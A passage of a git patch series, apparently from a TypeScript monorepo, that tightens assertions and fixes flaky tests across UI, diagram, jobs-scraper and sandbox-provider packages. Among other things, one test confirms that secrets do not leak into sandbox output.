a/packages/ui-server/tests/journal-index-metadata-only.test.ts +++ b/packages/ui-server/tests/journal-index-metadata-only.test.ts @@ -97,7 +97,7 @@ test("observed index refreshes keep path, size and change evidence without retai } const wal = index.filter(change => change.path === ".brain-index/brain.db-wal"); expect(new Set(wal.map(change => change.after?.stamp)).size, "INDEX_EQUAL_SIZE_VERSIONS_HAVE_DISTINCT_STAMPS").toBe(3); - expect(wal.every(change => change.before?.stamp !== change.after?.stamp), "INDEX_STAMP_CHANGES_WITH_EACH_REFRESH").toBe(true); + expect(wal.filter(change => change.before?.stamp === change.after?.stamp), "INDEX_STAMP_CHANGES_WITH_EACH_REFRESH").toEqual([]); expect(index.findLast(change => change.path === ".brain-index/brain.db-journal")?.after?.kind, "INDEX_SYMLINK_OBSERVED").toBe("symlink"); const kept = f.retained(); expect([...written].filter(hash => kept.has(hash)), "INDEX_BYTES_NEVER_RETAINED").toEqual([]); @@ -133,7 +133,9 @@ test("before-version capture and removal coverage never retain the index family, } // Even naming a genuinely retained object, a metadata-only version is never a recovery source. expect(f.journal.hasRetainedVersion("removal", { ...original!, metadataOnly: true }), "METADATA_ONLY_VERSION_NEVER_RETAINED").toBe(false); - await expect(f.journal.withRetainedVersion({ ...original!, metadataOnly: true }, () => "copied"), "METADATA_ONLY_VERSION_NEVER_COPIED").rejects.toThrow("retained version is unavailable"); + // Settled, not `expect(...).rejects`: a wrongly resolved copy must fail here, not stall on the journal's write worker. + const copied = await f.journal.withRetainedVersion({ ...original!, metadataOnly: true }, () => "copied").then(value => value, error => error); + expect(String(copied), "METADATA_ONLY_VERSION_NEVER_COPIED").toContain("retained version is unavailable"); await f.journal.finish("removal"); } finally { await f.close(); } }); @@ -169,6 +171,7 @@ test("history revert excludes the index family as metadata-only, including earli expect(readFileSync(join(f.brain, ".brain-index/brain.db"), "utf8"), "INDEX_LEFT_FOR_REBUILD").toBe("refreshed index"); expect(readFileSync(join(f.brain, LOCK[0]!), "utf8"), "LOCK_LEFT_IN_PLACE").toBe("embedding lock taken"); expect(existsSync(join(f.brain, ".brain-index/brain.db.embedding-lock.db.bak")), "SIMILAR_LOCK_NAME_REVERTED").toBe(false); - await expect(f.reverts.start("odysseus", "ithaca", "return", { id: "odysseus_index_revert_02", path: ".brain-index/brain.db" }), "INDEX_SINGLE_PATH_REVERT_REFUSED").rejects.toThrow(); + const single = await f.reverts.start("odysseus", "ithaca", "return", { id: "odysseus_index_revert_02", path: ".brain-index/brain.db" }).then(value => value, error => error); + expect(single, "INDEX_SINGLE_PATH_REVERT_REFUSED").toBeInstanceOf(Error); } finally { await f.close(); } }); From 645508883916f615b849b6b1cac18bdc4ba6d8c9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:36:57 +0100 Subject: [PATCH 148/252] test(ui-react): keyboard hints await the lazy file tree before polling it Test-Health: th-20261110201439-289b16#4 --- packages/ui-react/tests/browser/keyboard-hints.pointer.tsx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/packages/ui-react/tests/browser/keyboard-hints.pointer.tsx b/packages/ui-react/tests/browser/keyboard-hints.pointer.tsx index ad20d106e1..d4f4e21146 100644 --- a/packages/ui-react/tests/browser/keyboard-hints.pointer.tsx +++ b/packages/ui-react/tests/browser/keyboard-hints.pointer.tsx @@ -90,6 +90,9 @@ for (const width of live ? [1280] : [320, 600, 1280]) { } expect(composerHint.getBoundingClientRect().height > 0 && composerHint.innerText.includes("⏎"), "composer keys").toBe(fine); await expect.poll(() => ui!.stores.ui.getState().filePanelOpen).toBe(true); + // The open panel has started the real lazy tree load (#3285). A cold Vite + // transform must finish before the treeitem poll gets its 1000ms budget. + await import("../../src/components/files/file-tree.js"); const tree = page.getByRole("treeitem", { name: /return.md/ }); await expect.element(tree).toBeVisible(); if (width >= 900) { From 4dce2a8454912f488309337ad637354006321b84 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:40:14 +0100 Subject: [PATCH 149/252] test(ui-react): maintenance disclosure refuses a global toggle on any button Test-Health: th-20261110201439-289b16#11 --- .../ui-react/tests/browser/maintenance-disclosure.layout.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/maintenance-disclosure.layout.tsx b/packages/ui-react/tests/browser/maintenance-disclosure.layout.tsx index 5b2a199a0f..3846b4f61f 100644 --- a/packages/ui-react/tests/browser/maintenance-disclosure.layout.tsx +++ b/packages/ui-react/tests/browser/maintenance-disclosure.layout.tsx @@ -72,7 +72,8 @@ for (const width of [320, 1280]) { "MAINTENANCE_CATEGORY_COLLAPSED_ON_FRESH_VISIT").toBe(0); expect(host!.querySelector('button[data-node-id="2"]')!.getClientRects().length).toBe(0); expect(host!.querySelector('button[data-node-id="3"]')!.getClientRects().length).toBe(0); - expect(host!.querySelector('button:not([data-node-id])')?.textContent).not.toBe("Show maintenance tasks"); + expect([...host!.querySelectorAll("button")].map(button => button.textContent), + "no single toggle hides every category").not.toContain("Show maintenance tasks"); for (const name of categories) { await expect.element(category(name)).toHaveAttribute("aria-expanded", "false"); expect(content(name).hidden).toBe(true); From 3c3d8b2d67108afb4934dd35bef64dddf5d034b7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:43:34 +0100 Subject: [PATCH 150/252] test(ui-react): storage reduced-motion check waits for its sections; settings and storage print what they compare Test-Health: th-20261110195347-f9b8db#2 --- .../tests/browser/settings-structure.layout.tsx | 8 ++++---- .../tests/browser/storage-guidance.layout.tsx | 2 ++ .../ui-react/tests/browser/storage-pane.layout.tsx | 14 +++++++------- 3 files changed, 13 insertions(+), 11 deletions(-) diff --git a/packages/ui-react/tests/browser/settings-structure.layout.tsx b/packages/ui-react/tests/browser/settings-structure.layout.tsx index 76fa7fe8ea..30b8bf4395 100644 --- a/packages/ui-react/tests/browser/settings-structure.layout.tsx +++ b/packages/ui-react/tests/browser/settings-structure.layout.tsx @@ -200,18 +200,18 @@ for (const width of [320, 1280]) test(`closing Settings returns to its opener at await opener.click(); await expect.poll(() => page.getByRole("tab", { name: "Models", exact: true }).elements().length).toBe(1); await page.getByRole("button", { name: width < 900 ? "Close Settings" : "Close", exact: true }).click(); - await expect.poll(() => document.activeElement === opener.element(), { message: "SETTINGS_RETURNS_OPENER_FOCUS" }).toBe(true); + await expect.poll(() => document.activeElement, { message: "SETTINGS_RETURNS_OPENER_FOCUS" }).toBe(opener.element()); await opener.click(); await expect.poll(() => page.getByRole("tab", { name: "Models", exact: true }).elements().length).toBe(1); await userEvent.keyboard("{Escape}"); - await expect.poll(() => document.activeElement === opener.element(), { message: "SETTINGS_ESCAPE_RETURNS_OPENER_FOCUS" }).toBe(true); + await expect.poll(() => document.activeElement, { message: "SETTINGS_ESCAPE_RETURNS_OPENER_FOCUS" }).toBe(opener.element()); await opener.click(); await page.getByRole("tab", { name: "Models", exact: true }).click(); const resized = width === 320 ? 1280 : 320; await commands.formViewport(resized, 800); await page.viewport(resized, 800); await expect.poll(() => page.getByRole("tablist").element().getAttribute("aria-orientation")).toBe(resized < 900 ? "horizontal" : "vertical"); await page.getByRole("button", { name: resized < 900 ? "Close Settings" : "Close", exact: true }).click(); - await expect.poll(() => document.activeElement === opener.element(), { message: "SETTINGS_RESIZE_RETURNS_ORIGINAL_OPENER" }).toBe(true); + await expect.poll(() => document.activeElement, { message: "SETTINGS_RESIZE_RETURNS_ORIGINAL_OPENER" }).toBe(opener.element()); if (width === 1280) { await commands.formViewport(1280, 800); await page.viewport(1280, 800); await opener.click(); @@ -219,6 +219,6 @@ for (const width of [320, 1280]) test(`closing Settings returns to its opener at await actions.click(); await expect.poll(() => ui.stores.ui.getState().settingsPanelOpen).toBe(false); await new Promise(resolve => requestAnimationFrame(() => resolve())); - expect(document.activeElement === actions.element(), "SETTINGS_CLOSE_PRESERVES_NEW_DESTINATION_FOCUS").toBe(true); + expect(document.activeElement, "SETTINGS_CLOSE_PRESERVES_NEW_DESTINATION_FOCUS").toBe(actions.element()); } }); diff --git a/packages/ui-react/tests/browser/storage-guidance.layout.tsx b/packages/ui-react/tests/browser/storage-guidance.layout.tsx index 712ecf5452..1dbe0e02f2 100644 --- a/packages/ui-react/tests/browser/storage-guidance.layout.tsx +++ b/packages/ui-react/tests/browser/storage-guidance.layout.tsx @@ -406,6 +406,8 @@ test("Browser-blocked push is labelled and the existing opt-in switch keeps its r.width - parseFloat(pseudo.left) - parseFloat(pseudo.right) ).toBeGreaterThanOrEqual(44); expect(matchMedia("(prefers-reduced-motion: reduce)").matches).toBe(true); + for (const selector of ["[data-storage-history]", "[data-storage-pressure]", "[data-storage-map-index]"]) + await expect.poll(() => host.querySelectorAll(selector).length, { message: `STORAGE_STATIC_SECTION_DRAWN ${selector}` }).toBeGreaterThan(0); for (const node of host.querySelectorAll( "[data-storage-history], [data-storage-pressure], [data-storage-map-index]" )) { diff --git a/packages/ui-react/tests/browser/storage-pane.layout.tsx b/packages/ui-react/tests/browser/storage-pane.layout.tsx index 7994fa144b..e7eaf22853 100644 --- a/packages/ui-react/tests/browser/storage-pane.layout.tsx +++ b/packages/ui-react/tests/browser/storage-pane.layout.tsx @@ -239,8 +239,8 @@ for (const kind of [ "STORAGE_INELIGIBLE_SELECTION_DISABLED" ).toBe(true); expect( - fixture.requests.some((row) => row.path.endsWith("/reviews")) - ).toBe(false); + fixture.requests.filter((row) => row.path.endsWith("/reviews")) + ).toEqual([]); } await commands.buttonCapture(`storage-${kind}`); }); @@ -301,8 +301,8 @@ for (const width of [320, 1280]) await button("Undo removal of attachments/Ithaca-harbor.pdf").click(); await expect.poll(() => button("Restore 1 file").elements().length).toBe(1); expect( - fixture.requests.some((row) => row.path.endsWith("/undo-reviews")) - ).toBe(true); + fixture.requests.map((row) => row.path) + ).toContainEqual(expect.stringMatching(/\/undo-reviews$/)); await button("Restore 1 file").click(); await expect .poll(() => page.getByRole("dialog").element().textContent) @@ -341,8 +341,8 @@ test("List-only drill restores the parent row and retains D52", async () => { } await button("attachments").click(); await expect - .poll(() => document.activeElement === button("Open papers").elements()[0]) - .toBe(true); + .poll(() => document.activeElement) + .toBe(button("Open papers").elements()[0]); expect(ui.stores.ui.getState().activeView).not.toBe("storage"); }); test("Account lock and root replacement discard selected versions", async () => { @@ -392,7 +392,7 @@ test("Dense folder pages preserve the full measured subtotal and query before pa .poll(() => table.element().querySelectorAll("tbody tr").length) .toBe(1); expect(table.element().textContent).toContain("Ithaca-chart-204.pdf"); - expect(fixture.requests.some((row) => row.path.endsWith("/tree"))).toBe(true); + expect(fixture.requests.map((row) => row.path)).toContainEqual(expect.stringMatching(/\/tree$/)); }); test("Refresh preserves focused rows and requires explicit adoption before clearing selection", async () => { const fixture = await scene(); From 4df957952fded0830d3c8f29eb57af7e39190767 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:44:24 +0100 Subject: [PATCH 151/252] test(module-diagrams): pin the shapes positional loops assert over Loop label masks, ring arcs, Venn regions and pyramid trapezoids were asserted only inside loops over collections that could be empty; each count is now pinned, with a killed mutant per case. Test-Health: th-20261110203030-1866df#0 --- packages/module-diagrams/tests/positional.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/module-diagrams/tests/positional.test.ts b/packages/module-diagrams/tests/positional.test.ts index 2cc98389ae..0e6e247fbe 100644 --- a/packages/module-diagrams/tests/positional.test.ts +++ b/packages/module-diagrams/tests/positional.test.ts @@ -15,6 +15,7 @@ import type { DiagramShape } from "../src/shape.js"; for (const type of ["loop","flywheel"]) test(`${type}: actual ring/spoke samples clear all opaque label masks`, () => { const spec=JSON.parse(readFileSync(new URL(`../skills/diagram/references/examples/positional/${type}.diagram.yaml`,import.meta.url),"utf8")),tree=buildDiagram(spec),shapes=tree.elements.filter((e):e is DiagramShape=>e.kind==="shape"); const masks=shapes.filter(e=>e.paint==="mask"),cx=tree.viewBox.width/2,cy=tree.viewBox.height/2-20; + expect(masks.length,"LOOP_LABEL_MASKS_SAMPLED").toBe(type==="loop"?2:0);expect(shapes.filter(e=>e.shape==="path").length,"RING_ARCS_SAMPLED").toBe(5); for(const shape of shapes){const points:Array<{x:number;y:number}>=[]; if(shape.shape==="line")for(let i=0;i<=128;i++)points.push({x:shape.x1+(shape.x2-shape.x1)*i/128,y:shape.y1+(shape.y2-shape.y1)*i/128}); if(shape.shape==="path"){const values=shape.d.match(/[-+]?(?:\d*\.\d+|\d+\.?\d*)(?:e[-+]?\d+)?/gi)!.map(Number),[sx,sy,r]=values as [number,number,number],ex=values[7]!,ey=values[8]!,start=Math.atan2(sy-cy,sx-cx),end=Math.atan2(ey-cy,ex-cx),angle=(end-start+2*Math.PI)%(2*Math.PI);for(let i=0;i<=128;i++)points.push({x:cx+r*Math.cos(start+angle*i/128),y:cy+r*Math.sin(start+angle*i/128)});} @@ -30,6 +31,7 @@ test("Venn unequal areas retain genuine overlap, grid geometry and complete inte const spec=example("venn");spec.size="social-square";spec.positional.venn.sets.forEach((set:any,i:number)=>set.weight=weights[i]); expect(checkDiagram(JSON.stringify(spec)).errors,"HONEST_VENN_ACCEPTANCE").toEqual([]); const scene=shapes(spec),circles=scene.filter((s):s is Extract=>s.shape==="circle"&&Boolean(s.nodeId)); + expect(scene.filter(s=>/^intersection-\d+$/.test(s.id)).length,"VENN_REGIONS_CHECKED").toBe(spec.positional.venn.intersections.length); const maximum=Math.max(...weights),largest=Math.max(...circles.map(c=>c.radius)); circles.forEach((c,i)=>{for(const n of[c.cx,c.cy,c.radius])expect(n%4).toBe(0);expect(Math.abs((c.radius/largest)**2/(weights[i]!/maximum)-1),"HONEST_VENN_AREA").toBeLessThanOrEqual(.05);expect(Math.hypot(c.cx-540,c.cy-500),"GENUINE_VENN_OVERLAP").toBeLessThan(c.radius);}); for(const region of scene.filter(s=>/^intersection-\d+$/.test(s.id))){const leader=scene.find(s=>s.id===region.id.replace("intersection-","intersection-leader-")); @@ -41,7 +43,7 @@ test("Venn unequal areas retain genuine overlap, grid geometry and complete inte }); test("Pyramid apex, quantitative widths and both text lines stay in actual trapezoid",()=>{ for(const type of["pyramid","funnel"]){const spec=example(type);spec.nodes.forEach((n:any)=>n.sub="CREW");spec.positional.pyramid.layers.forEach((l:any,i:number)=>l.value=type==="pyramid"?(i+1)*20:(4-i)*20); - expect(checkDiagram(JSON.stringify(spec)).errors).toEqual([]);const scene=shapes(spec),polygons=scene.filter((s):s is Extract=>s.shape==="polygon"); + expect(checkDiagram(JSON.stringify(spec)).errors).toEqual([]);const scene=shapes(spec),polygons=scene.filter((s):s is Extract=>s.shape==="polygon");expect(polygons.length,"TRAPEZOIDS_CHECKED").toBe(4); polygons.forEach((p,i)=>{const top=p.points[1]!.x-p.points[0]!.x,bottom=p.points[2]!.x-p.points[3]!.x,expected=(spec.positional.pyramid.layers[i].value/80)*640;expect(type==="pyramid"?bottom:top,"QUANTITATIVE_LAYER_WIDTH").toBeCloseTo(expected,6);if(type==="pyramid"&&i===0)expect(top,"TRUE_PYRAMID_APEX").toBe(0); for(const text of scene.filter(s=>s.shape==="text"&&(s.id===`${p.id}-name`||s.id===`${p.id}-sub`))){for(const y of[text.y,text.y+text.height]){const available=top+(bottom-top)*(y-p.y)/p.height;expect(text.x,"POLYGON_TEXT_LEFT").toBeGreaterThanOrEqual(480-available/2+7.99);expect(text.x+text.width,"POLYGON_TEXT_RIGHT").toBeLessThanOrEqual(480+available/2-7.99);}} });expect(scene.filter(s=>s.shape==="text"&&s.id.endsWith("-sub")).length).toBe(4); @@ -59,6 +61,7 @@ test("Each positional family reports editorial one-over-budget warnings",()=>{ test("Generated scenes contain finite full strokes, arrowheads, circles, masks and circular extrema",()=>{ for(const type of types){const spec=example(type),tree=buildDiagram(spec),scene=shapes(spec),inside=(x:number,y:number,padding=1)=>{expect(Number.isFinite(x)&&Number.isFinite(y),"FINITE_SCENE_COORDINATES").toBe(true);expect(x-padding,"SCENE_LEFT_STROKE").toBeGreaterThanOrEqual(0);expect(y-padding,"SCENE_TOP_STROKE").toBeGreaterThanOrEqual(0);expect(x+padding,"SCENE_RIGHT_STROKE").toBeLessThanOrEqual(tree.viewBox.width);expect(y+padding,"SCENE_BOTTOM_STROKE").toBeLessThanOrEqual(tree.viewBox.height-32);}; + expect(scene.filter(s=>s.shape==="path"&&s.id.startsWith("ring-")).length,"RING_PATHS_CHECKED").toBe(type==="loop"||type==="flywheel"?5:0); for(const shape of scene){for(const x of[shape.x,shape.x+shape.width])for(const y of[shape.y,shape.y+shape.height])inside(x,y);if(shape.shape==="circle")for(const [dx,dy]of[[1,0],[-1,0],[0,1],[0,-1]])inside(shape.cx+shape.radius*dx!,shape.cy+shape.radius*dy!);if(shape.shape==="polygon")for(const p of shape.points)inside(p.x,p.y);if(shape.arrow){const a=shape.arrow;inside(a.x,a.y);for(const side of[-1,1])inside(a.x-a.dx*7+a.dy*4*side,a.y-a.dy*7-a.dx*4*side);} if(shape.shape==="path"&&shape.id.startsWith("ring-")){const values=shape.d.match(/[-+]?(?:\d*\.\d+|\d+\.?\d*)(?:e[-+]?\d+)?/gi)!.map(Number);expect(values[2],"COMMON_RING_RADIUS").toBe(216);expect(values[3]).toBe(216);expect(values[6],"CLOCKWISE_RING_SWEEP").toBe(1);const source=scene.find(e=>e.nodeId===shape.from&&e.shape==="rect")!,target=scene.find(e=>e.nodeId===shape.to&&e.shape==="rect")!; for(const [x,y,box]of[[values[0]!,values[1]!,source],[values[7]!,values[8]!,target]]as const){const distance=Math.min(Math.abs(x-box.x),Math.abs(x-box.x-box.width),Math.abs(y-box.y),Math.abs(y-box.y-box.height));expect(distance,"RING_END_ON_STATION_EDGE").toBeLessThan(.001);expect(Math.hypot(x-tree.viewBox.width/2,y-(tree.viewBox.height/2-20)),"TRUE_CIRCULAR_RING").toBeCloseTo(216,6);} From ef3dd363899b61291e6a3317672a9b904eeb83c4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:45:02 +0100 Subject: [PATCH 152/252] test(module-jobs): isolate board-selection signing, pin board titles, fold duplicate search spawns Test-Health: th-20261110201428-8c4366#0 --- .../module-jobs/tests/board-fixtures.test.ts | 20 ++++++++++--------- .../tests/board-selection-runtime.test.ts | 13 +++++++++--- .../module-jobs/tests/jobs-search-cli.test.ts | 16 +++++---------- 3 files changed, 26 insertions(+), 23 deletions(-) diff --git a/packages/module-jobs/tests/board-fixtures.test.ts b/packages/module-jobs/tests/board-fixtures.test.ts index a1e23dba96..f34bae1a00 100644 --- a/packages/module-jobs/tests/board-fixtures.test.ts +++ b/packages/module-jobs/tests/board-fixtures.test.ts @@ -253,8 +253,11 @@ describe("remotelyde against its captured listing", () => { ["Grafana Labs", "Spanien +4 weitere"], ["Do Good Ventures", "Weltweit"], ]); + expect(result.items.map((job) => job.title)).toEqual([ + "Senior Backend Engineer - Databases - Analytics | Germany | Remote", + "Director of DTC Growth", + ]); for (const job of result.items) { - expect(job.title).toBeTruthy(); expect(job.company).not.toBe("Unknown"); expect(job.url).toStartWith("https://www.remotely.de/job/"); } @@ -418,21 +421,20 @@ describe("jobgether against the JSON endpoint its robots.txt allows", () => { ); expect(result.errors).toEqual([]); - expect(result.items).toHaveLength(3); + expect(result.items.map((job) => [job.title, job.company])).toEqual([ + ["Senior Backend Engineer - Databases - Analytics | Germany | Remote", "Grafana Labs"], + ["Remote Response Associate, Roadside Assistance (CSR)", "Agero, Inc."], + // The wire carries "Samsara " with a trailing space. + ["AI Architect - GTM Systems", "Samsara"], + ]); for (const job of result.items) { - expect(job.title).toBeTruthy(); - expect(job.company).toBeTruthy(); - expect(job.company).not.toBe("Unknown"); expect(job.url).toStartWith("https://jobgether.com/offer/"); // postedAt is already ISO on this endpoint. expect(job.published_at).toMatch(/^\d{4}-\d{2}-\d{2}T/); } - expect(result.items[0].company).toBe("Grafana Labs"); expect(result.items[0].salary_min).toBe(186240); expect(result.items[0].salary_currency).toBe("EUR"); expect(result.items[0].job_type).toBe("full_time"); - // The wire carries "Samsara " with a trailing space. - expect(result.items[2].company).toBe("Samsara"); }); test("an offer with no company is dropped, and the field is named (#35)", async () => { @@ -814,7 +816,7 @@ describe("each board's own rows, followed to their detail page, are stored with test("remotelyde, row cards (no teaser)", async () => { const { items: jobs } = await scrapeAgainst(new RemotelyDeAdapter(), fixture("remotelyde", "listing-row-cards.html")); - expect(jobs.every((row) => !row.description)).toBe(true); + expect(jobs.map((row) => row.description)).toEqual([undefined, undefined]); const { stats, stored } = await enrichAndStore(jobs, "remotelyde", detail("remotelyde-detail.html"), "www.remotely.de"); expect(stats).toMatchObject({ enriched: jobs.length, failed: 0 }); expectAllDescribed(stored); diff --git a/packages/module-jobs/tests/board-selection-runtime.test.ts b/packages/module-jobs/tests/board-selection-runtime.test.ts index 96fd4c86a1..fef830e2e0 100644 --- a/packages/module-jobs/tests/board-selection-runtime.test.ts +++ b/packages/module-jobs/tests/board-selection-runtime.test.ts @@ -1,12 +1,19 @@ import { afterEach, expect, test } from "bun:test"; import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "../../core/tests/cli-harness"; +import { BRAIN_BIN, cleanup, keylessEnv as harnessEnv, makeTempBrain, runCli as harnessCli } from "../../core/tests/cli-harness"; +import { withoutSigning } from "../../core/tests/git-fixture"; import manifest, { configSchema } from "../src/module"; import { ALL_SOURCES, RETIRED_SOURCES } from "../src/types"; import { openDatabase } from "../src/db"; import { ingestJobs } from "../src/scrape"; +// Settings saves commit through the CLI. Every Git child, fixture and product +// alike, gets signing disabled at command scope, so no ambient signing +// configuration reaches these temporary repositories (#3485). +const keylessEnv = (root: string) => withoutSigning(harnessEnv(root)); +const runCli = (root: string, args: string[]) => harnessCli(root, args, keylessEnv(root)); + const roots: string[] = []; afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); const curated = ["remoteok", "weworkremotely", "workingnomads", "remotelyde"]; @@ -191,8 +198,8 @@ test("an intentionally empty scrape leaves an existing nonempty jobs database al const path = join(root, "jobs.db"); const db = openDatabase(path); ingestJobs(db, [ - { source: "remoteok", source_id: "fixture-1", title: "Senior Engineer", company: "Acme" }, - { source: "workingnomads", source_id: "fixture-2", title: "Senior Engineer", company: "Acme" }, + { source: "remoteok", source_id: "fixture-1", title: "Senior Engineer", company: "Ithaca Fleet" }, + { source: "workingnomads", source_id: "fixture-2", title: "Senior Engineer", company: "Ithaca Fleet" }, ]); const before = db.query("SELECT * FROM jobs ORDER BY id").all(); expect(before).toHaveLength(2); diff --git a/packages/module-jobs/tests/jobs-search-cli.test.ts b/packages/module-jobs/tests/jobs-search-cli.test.ts index 1791e84cbb..5b4f713b55 100644 --- a/packages/module-jobs/tests/jobs-search-cli.test.ts +++ b/packages/module-jobs/tests/jobs-search-cli.test.ts @@ -67,7 +67,12 @@ for (const [name, flags] of invalidCases) { for (const seeded of [false, true]) { test(`jobs search gives usage for ${name} with ${seeded ? "populated" : "absent"} database`, async () => { const root = seeded ? populated : fixture(); + const path = join(root, "jobs.db"); + expect(existsSync(path)).toBe(seeded); const result = await runCli(root, ["jobs", "search", "navigation", ...flags]); + // Keep this before the usage assertion: it independently observes opening + // with CREATE, even when the later SQL query fails for the expected reason. + expect(existsSync(path)).toBe(seeded); expect(result.stderr).toContain("--limit must be a positive safe integer"); expect(result.stderr).toContain("Usage: brain jobs search"); expect(result.code).toBe(1); @@ -75,17 +80,6 @@ for (const [name, flags] of invalidCases) { expect(result.stderr).not.toMatch(/datatype mismatch|SQLITE|SQLiteError/); }); } - - test(`jobs search does not create a database for ${name}`, async () => { - const root = fixture(); - const path = join(root, "jobs.db"); - expect(existsSync(path)).toBe(false); - const result = await runCli(root, ["jobs", "search", "navigation", ...flags]); - // Keep this before the usage assertion: it independently observes opening - // with CREATE, even when the later SQL query fails for the expected reason. - expect(existsSync(path)).toBe(false); - expect(result.code).toBe(1); - }); } for (const [name, flags, count] of [ From f3239b7f90f7210394977e7567ee366569f77397 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:46:32 +0100 Subject: [PATCH 153/252] test(compute-boat): a poll's injected transport fault no longer outlives the call; opaque boolean checks compare values Test-Health: th-20261110203123-ce2882#0 --- packages/compute-boat/tests/contract.test.ts | 6 ++++-- packages/compute-boat/tests/credential-free.test.ts | 4 ++-- packages/compute-boat/tests/install-select.test.ts | 2 +- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/packages/compute-boat/tests/contract.test.ts b/packages/compute-boat/tests/contract.test.ts index 89d83bcb43..7698489c31 100644 --- a/packages/compute-boat/tests/contract.test.ts +++ b/packages/compute-boat/tests/contract.test.ts @@ -28,9 +28,11 @@ const harness = { context: () => ({ secret: SECRET, fetch: fake.fetch, options: {} }), commands: boatCommands, liveSandboxes: () => fake.liveSandboxes(), - // One provider call spans up to MAX_ATTEMPTS requests; the fault covers the whole call. + // An allocation retries up to MAX_ATTEMPTS requests, so its fault covers the whole call. loseNextResponse: () => fake.failNext("create", "lose-response", MAX_ATTEMPTS), - failNextTransport: (method: "allocate" | "poll") => fake.failNext(method === "allocate" ? "create" : "command-status", "network", MAX_ATTEMPTS), + // A poll is sent once and never retried: a deeper queue would outlive the call and fail a later test's poll. + failNextTransport: (method: "allocate" | "poll") => + method === "allocate" ? fake.failNext("create", "network", MAX_ATTEMPTS) : fake.failNext("command-status", "network", 1), stateDir: () => realpathSync(mkdtempSync(join(scratch, `state-${states++}-`))), }; diff --git a/packages/compute-boat/tests/credential-free.test.ts b/packages/compute-boat/tests/credential-free.test.ts index 7d70b6e994..ef6d7b7aa0 100644 --- a/packages/compute-boat/tests/credential-free.test.ts +++ b/packages/compute-boat/tests/credential-free.test.ts @@ -46,8 +46,8 @@ describe("credential-free sandboxes", () => { const stdout = status.kind === "exited" ? status.stdout ?? "" : ""; expect(stdout).toContain("VOYAGE=ithaca"); for (const [name, value] of Object.entries(OWNER_ENV)) expect([name, stdout.includes(value)]).toEqual([name, false]); - expect(stdout.includes(KEY)).toBe(false); + expect(stdout).not.toContain(KEY); const exec = fake.requests.find((r) => r.route === "exec")!; - expect(exec.body.includes(KEY)).toBe(false); + expect(exec.body).not.toContain(KEY); }); }); diff --git a/packages/compute-boat/tests/install-select.test.ts b/packages/compute-boat/tests/install-select.test.ts index 90fb6c557f..1e282f3238 100644 --- a/packages/compute-boat/tests/install-select.test.ts +++ b/packages/compute-boat/tests/install-select.test.ts @@ -58,7 +58,7 @@ describe("installing and selecting Boat", () => { const fake = fakeBoat({ apiKey: KEY }); expect((await computeProvider.health(contextFor(fake, { secret: "boat_wrong_key_000" }))).kind).toBe("unavailable"); expect((await computeProvider.health({ ...contextFor(fake), secret: undefined })).kind).toBe("unavailable"); - expect(fake.requests.every((r) => r.method === "GET")).toBe(true); + expect(fake.requests.filter((r) => r.method !== "GET")).toEqual([]); }); test("the package imports @schlessera/brain for types only, and ships no install hook or vendor SDK", () => { From 22bfa72712175b11df98fc52091ac62a0daf4b96 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:46:38 +0100 Subject: [PATCH 154/252] test(ui-kit): test-health batch e3855-ui-kit-02 (#3870) * test(ui-kit): command palette effect chips must be visible, not only found Test-Health: th-20261110163730-142c23#0 * test(ui-kit): Apify spend refresh check prints the requests it saw Test-Health: th-20261110163730-142c23#1 * test(ui-kit): drop the single-question story that repeated AskUserCard Other Open Test-Health: th-20261110163730-142c23#3 * test(ui-kit): code fence theme counts its copy buttons before measuring them Test-Health: th-20261110163730-142c23#4 * test(ui-kit): conditional form stories assert which questions they show Test-Health: th-20261110163730-142c23#6 * test(ui-kit): ranked question geometry requires a handle on every row Test-Health: th-20261110163730-142c23#8 * test(ui-kit): turn error stories require every action to be operable Test-Health: th-20261110163730-142c23#9 * test(ui-kit): a busy disposition bar keeps Later inert too Test-Health: th-20261110163730-142c23#11 * test(ui-kit): an unwired empty-state action is still drawn Test-Health: th-20261110163730-142c23#16 * test(ui-kit): waveform story drops a comparison that never read the component Test-Health: th-20261110163730-142c23#17 * test(ui-kit): notification actions each reach their own callback and stay drawn unwired Test-Health: th-20261110163730-142c23#20 * test(ui-kit): comparison table asserts its missing-value em dash Test-Health: th-20261110163730-142c23#21 --- .../conversation/ApifySpend.stories.tsx | 2 +- .../conversation/AttachmentRow.stories.tsx | 8 ++---- .../conversation/CodeFenceTheme.stories.tsx | 4 ++- .../conversation/ComparisonTable.stories.tsx | 4 +++ .../conversation/EmptyState.stories.tsx | 1 + .../conversation/TurnErrorCard.stories.tsx | 3 +- .../decisions/AskUserFormCard.stories.tsx | 28 +++++++++++-------- .../decisions/AskUserRankCard.stories.tsx | 16 ++++++----- .../decisions/DispositionBar.stories.tsx | 5 +++- .../decisions/NotificationCard.stories.tsx | 6 +++- .../decisions/QuestionAndMask.stories.tsx | 21 -------------- .../desktop/CommandPalette.stories.tsx | 6 ++-- 12 files changed, 50 insertions(+), 54 deletions(-) diff --git a/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx b/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx index d6e013d450..e4425d9ace 100644 --- a/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx +++ b/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx @@ -83,7 +83,7 @@ export const StoppedUnconfirmed320 = meta.story({ await bounds(notice, "stop notice"); await targets(notice, "stop notice"); await accessible(document.querySelector("main")!); await userEvent.click(within(notice).getByRole("button", { name: "Check again" })); await waitFor(() => 